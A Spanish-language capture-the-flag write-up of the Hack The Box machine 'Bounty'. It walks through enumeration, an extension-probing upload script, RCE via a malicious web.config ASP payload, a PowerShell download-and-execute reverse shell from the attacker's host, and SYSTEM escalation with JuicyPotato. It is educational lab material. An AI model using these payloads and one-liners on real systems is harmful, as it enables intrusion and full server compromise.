Hack The Box: Bounty Writeup | Easy

Table of Contents

Hack The Box: Bounty Writeup

Welcome to my detailed writeup of the easy difficulty machine “Bounty” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.249.211 --ulimit 5000 -g
210.129.249.211 -> [80]
 1$ nmap -p80 -sCV 10.129.249.211 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-08 08:09 CEST
 3Nmap scan report for 10.129.249.211
 4Host is up (0.037s latency).
 5
 6PORT   STATE SERVICE VERSION
 780/tcp open  http    Microsoft IIS httpd 7.5
 8| http-methods: 
 9|_  Potentially risky methods: TRACE
10|_http-title: Bounty
11|_http-server-header: Microsoft-IIS/7.5
12Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
13
14Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
15Nmap done: 1 IP address (1 host up) scanned in 12.98 seconds

UDP Enumeration

1$ sudo nmap --top-ports 1500 -n -Pn --min-rate 5000 -sU 10.129.249.211 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-08 08:10 CEST
3Nmap scan report for 10.129.249.211
4Host is up.
5All 1500 scanned ports on 10.129.249.211 are in ignored states.
6Not shown: 1500 open|filtered udp ports (no-response)
7
8Nmap done: 1 IP address (1 host up) scanned in 2.38 seconds

Solo vemos el puerto 80/TCP abierto, así que…

HTTP Enumeration

Por detrás vemos que existe un IIS.

1$ whatweb http://10.129.249.211
2http://10.129.249.211 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5], IP[10.129.249.211], Microsoft-IIS[7.5], Title[Bounty], X-Powered-By[ASP.NET]

Vemos esta imagen al acceder al sitio web. Write-up Image

Podemos analizar los metadatos de esta imagen pero no vemos nada interesante.

 1$ exiftool merlin.jpg 
 2ExifTool Version Number         : 12.57
 3File Name                       : merlin.jpg
 4Directory                       : .
 5File Size                       : 781 kB
 6File Modification Date/Time     : 2018:05:30 22:35:50+02:00
 7File Access Date/Time           : 2024:08:08 08:12:29+02:00
 8File Inode Change Date/Time     : 2024:08:08 08:12:29+02:00
 9File Permissions                : -rw-r--r--
10File Type                       : JPEG
11File Type Extension             : jpg
12MIME Type                       : image/jpeg
13JFIF Version                    : 1.02
14Exif Byte Order                 : Big-endian (Motorola, MM)
15Orientation                     : Horizontal (normal)
16X Resolution                    : 200
17Y Resolution                    : 200
18Resolution Unit                 : inches
19Software                        : Adobe Photoshop CS4 Windows
20Modify Date                     : 2012:03:20 00:51:07
21Color Space                     : sRGB
22Exif Image Width                : 2000
23Exif Image Height               : 2000
24Compression                     : JPEG (old-style)
25Thumbnail Offset                : 332
26Thumbnail Length                : 5883
27IPTC Digest                     : 00000000000000000000000000000000
28Displayed Units X               : inches
29Displayed Units Y               : inches
30Print Style                     : Centered
31Print Position                  : 0 0
32Print Scale                     : 1
33Global Angle                    : 120
34Global Altitude                 : 30
35URL List                        : 
36Slices Group Name               : Untitled-1
37Num Slices                      : 1
38Pixel Aspect Ratio              : 1
39Photoshop Thumbnail             : (Binary data 5883 bytes, use -b option to extract)
40Has Real Merged Data            : Yes
41Writer Name                     : Adobe Photoshop
42Reader Name                     : Adobe Photoshop CS4
43Photoshop Quality               : 12
44Photoshop Format                : Standard
45Image Width                     : 2000
46Image Height                    : 2000
47Encoding Process                : Baseline DCT, Huffman coding
48Bits Per Sample                 : 8
49Color Components                : 3
50Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
51Image Size                      : 2000x2000
52Megapixels                      : 4.0
53Thumbnail Image                 : (Binary data 5883 bytes, use -b option to extract)

Haciendo fuzzing con feroxbuster (no os echéis encima mía) encontramos una ruta interesante.

1$ feroxbuster -u http://10.129.249.211 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x asp,aspx
2...
3200      GET     1624l    16517w  1403476c http://10.129.249.211/merlin.jpg
4200      GET       32l       53w      630c http://10.129.249.211/
5200      GET       22l       58w      941c http://10.129.249.211/transfer.aspx

transfer.aspx , vamos a ver que es esto. Write-up Image

Tiene pinta de una subida de archivos, de aquí podemos pensar el vector de ataque que será un archivo malicioso para intentar ejecutar código, lo que todavía no sabemos es donde se suben estos archivos.

$ echo "Esto es una prueba" > test.txt Write-up Image

Parece que archivos txt no le gusta, vamos a probar a subir una imagen.

Voy a subir la misma imagen de Merlín pero con diferente nombre, test.jpg

Write-up Image

Finding Exploitable Extensions

¿Y ahora donde se ha subido este archivo? Como es una máquina fácil, paré el feroxbuster muy pronto, pero si lo dejamos unos segundos mas…

1301      GET        2l       10w      159c http://10.129.249.211/uploadedFiles => http://10.129.249.211/uploadedFile

Perfecto, pero subir una imagen no me sirve de mucho.. Write-up Image

Me interesa reconocer que tipo de archivos puedo subir al servidor, y para ello podemos utilizar el intruder de burpsuite , pero como a mi me gusta complicarme la vida, vamos a crear un pequeño script en python :)

Podemos utilizar esta lista de extensiones que proporciona HackTricks. Write-up Image

 1import requests
 2from pwn import *
 3from bs4 import BeautifulSoup
 4
 5UPLOAD_URL = "http://10.129.249.211/transfer.aspx"
 6EXTENSIONS = [
 7    ".asp", 
 8    ".aspx", 
 9    ".config", 
10    ".ashx", 
11    ".asmx", 
12    ".aspq", 
13    ".axd", 
14    ".cshtm", 
15    ".cshtml", 
16    ".rem", 
17    ".soap", 
18    ".vbhtm", 
19    ".vbhtml", 
20    ".asa", 
21    ".cer", 
22    ".shtml"
23]
24
25def do_request(extension):
26    files = {'FileUpload1': (f"test.{extension}", open('test.txt','rb').read())}   
27    s = requests.Session()
28    r = s.get(UPLOAD_URL) # __VIEWSTATE and __EVENTVALIDATION
29    soup = BeautifulSoup(r.text, 'html.parser')
30    viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
31    eventvalidation = soup.find('input', {'name': '__EVENTVALIDATION'})['value']
32    data = {
33        "__VIEWSTATE": viewstate,
34        "__EVENTVALIDATION": eventvalidation,
35        "btnUpload": "Upload"
36    }
37
38    r = requests.post(UPLOAD_URL, files=files, data=data)
39    if "Invalid File. Please try again" not in r.text:
40        log.success("Extensión válida %s" % extension )
41    
42
43def upload():
44    p = log.progress("Probando extensiones")
45    for extension in EXTENSIONS:
46        p.status(": %s" % extension)
47        do_request(extension)
48    
49if __name__ == "__main__":
50    upload()

Si ejecutamos el script..

1$ python3 upload.py 
2[q] Probando extensiones: : .shtml
3[+] Extensión válida .config

Podemos subir un archivo .config.

Buscando un poco en Google, encontramos que hay una forma de conseguir RCE a través de la subida de un archivo web.config malicioso https://www.ivoidwarranties.tech/posts/pentesting-tuts/iis/web-config/

Al subir el web.config adjuntado, si la máquina víctima es vulnerable, al cargar el archivo web.config debería de mostrarse el número 3, esto significaría que se estaría ejecutando código.

Write-up Image

Foothold

Podemos confirmar el RCE modificando el archivo web.config para intentar ejecutar un comando a nivel de sistema.

 1<?xml version="1.0" encoding="UTF-8"?>
 2<configuration>
 3   <system.webServer>
 4      <handlers accessPolicy="Read, Script, Write">
 5         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
 6      </handlers>
 7      <security>
 8         <requestFiltering>
 9            <fileExtensions>
10               <remove fileExtension=".config" />
11            </fileExtensions>
12            <hiddenSegments>
13               <remove segment="web.config" />
14            </hiddenSegments>
15         </requestFiltering>
16      </security>
17   </system.webServer>
18</configuration>
19<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
20<%
21' Ejecutar un comando del sistema
22Set objShell = Server.CreateObject("WScript.Shell")
23cmd = "cmd.exe /c ping 10.10.14.91"
24Set objExec = objShell.Exec(cmd)
25output = objExec.StdOut.ReadAll
26Response.Write(output)
27%>
28-->
 1$ sudo tcpdump -i tun0 icmp
 2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
 3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
 409:19:11.720161 IP 10.129.249.211 > 10.10.14.91: ICMP echo request, id 1, seq 1, length 40
 509:19:11.720185 IP 10.10.14.91 > 10.129.249.211: ICMP echo reply, id 1, seq 1, length 40
 609:19:12.723036 IP 10.129.249.211 > 10.10.14.91: ICMP echo request, id 1, seq 2, length 40
 709:19:12.723055 IP 10.10.14.91 > 10.129.249.211: ICMP echo reply, id 1, seq 2, length 40
 809:19:13.721560 IP 10.129.249.211 > 10.10.14.91: ICMP echo request, id 1, seq 3, length 40
 909:19:13.721580 IP 10.10.14.91 > 10.129.249.211: ICMP echo reply, id 1, seq 3, length 40
1009:19:14.720033 IP 10.129.249.211 > 10.10.14.91: ICMP echo request, id 1, seq 4, length 40
1109:19:14.720058 IP 10.10.14.91 > 10.129.249.211: ICMP echo reply, id 1, seq 4, length 40

¡Y tenemos RCE!

Haciendo pruebas tuve que reiniciar la máquina, a partir de ahora la IP de la máquina víctima es 10.129.212.243

Ahora con Invoke-PowerShellTcp.ps1 de nishang vamos a mandarnos la reverse shell.

Modificamos el script inicial y añadimos la siguiente línea. Write-up Image

Modificamos el web.config para ejecutar el típico one-liner en powershell…

<%
' Ejecutar un comando del sistema
Set objShell = Server.CreateObject("WScript.Shell")
cmd = "cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.91:8081/Invoke-PowerShellTcp.ps1')"
Set objExec = objShell.Exec(cmd)
output = objExec.StdOut.ReadAll
Response.Write(output)
%>

Ahora servimos este script con python usando su módulo http.server por el puerto 8081 y si nos ponemos en escucha con netcat , subimos el web.config malicioso, y cargamos el recurso…

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.249.222 - - [08/Aug/2024 09:41:28] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.91] from (UNKNOWN) [10.129.249.222] 49158
4Windows PowerShell running as user BOUNTY$ on BOUNTY
5Copyright (C) 2015 Microsoft Corporation. All rights reserved.
6
7PS C:\windows\system32\inetsrv>whoami
8bounty\merlin

Y podemos ver la flag de usuario en el directorio personal de merlin

 1PS C:\Users\merlin\Desktop> dir -force
 2
 3
 4    Directory: C:\Users\merlin\Desktop
 5
 6
 7Mode                LastWriteTime     Length Name                              
 8----                -------------     ------ ----                              
 9-a-hs         5/30/2018  12:22 AM        282 desktop.ini                       
10-arh-          8/8/2024   8:35 AM         34 user.txt                          
11
12
13PS C:\Users\merlin\Desktop> type user.txt
14b42329e84a71be14...

Privilege Escalation

Podemos ver que este usuario tiene el privilegio SeImpersonatePrivilege, esto huele a JuicyPotato..

 1PS C:\Users\merlin\Desktop> whoami /priv
 2
 3PRIVILEGES INFORMATION
 4----------------------
 5
 6Privilege Name                Description                               State   
 7============================= ========================================= ========
 8SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
 9SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
10SeAuditPrivilege              Generate security audits                  Disabled
11SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
12SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
13SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Antes de la explotación, comprobamos el sistema operativo. Write-up Image

Y comprobamos si hay CLSID disponibles para esta versión en el repositorio de juicy-potato y vemos que si. Write-up Image

Nos descargamos el JuicyPotato.exe del repositorio y nos lo compartimos a la máquina víctima

1PS C:\Users\merlin\Desktop> (New-Object System.Net.WebClient).DownloadFile("http://10.10.14.91:8081/JuicyPotato.exe", "C:\Users\merlin\Desktop\JuicyPotato.exe")

Y podemos repetir el mismo paso de antes, descargarnos el Invoke-PowerShellTcp.ps1 y así mandarnos una reverse shell, y si todo sale bien deberíamos convertirnos en nt\authority system

Nos ponemos en escucha con netcat por el puerto 443, y nos compartimos el script con python por el puerto 8081.

1PS C:\Users\merlin\Desktop> .\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.91:8081/Invoke-PowerShellTcp.ps1')" -t *
2Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
3....
4[+] authresult 0
5{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
6
7[+] CreateProcessWithTokenW OK
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.249.222 - - [08/Aug/2024 09:55:05] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.91] from (UNKNOWN) [10.129.249.222] 49185
4Windows PowerShell running as user BOUNTY$ on BOUNTY
5Copyright (C) 2015 Microsoft Corporation. All rights reserved.
6
7PS C:\Windows\system32>whoami
8nt authority\system

Hemos escalado privilegios y ya podemos leer la flag de root

1PS C:\Users\Administrator\Desktop> type root.txt
292608230ded064c7ab...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Bounty   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Windows   #HTTP Enumeration   #Discovering Exploitable File Extensions   #Python Scripting   #Scripting   #Abusing Web.config   #Abusing SeImpersonatePrivilege   #JuicyPotato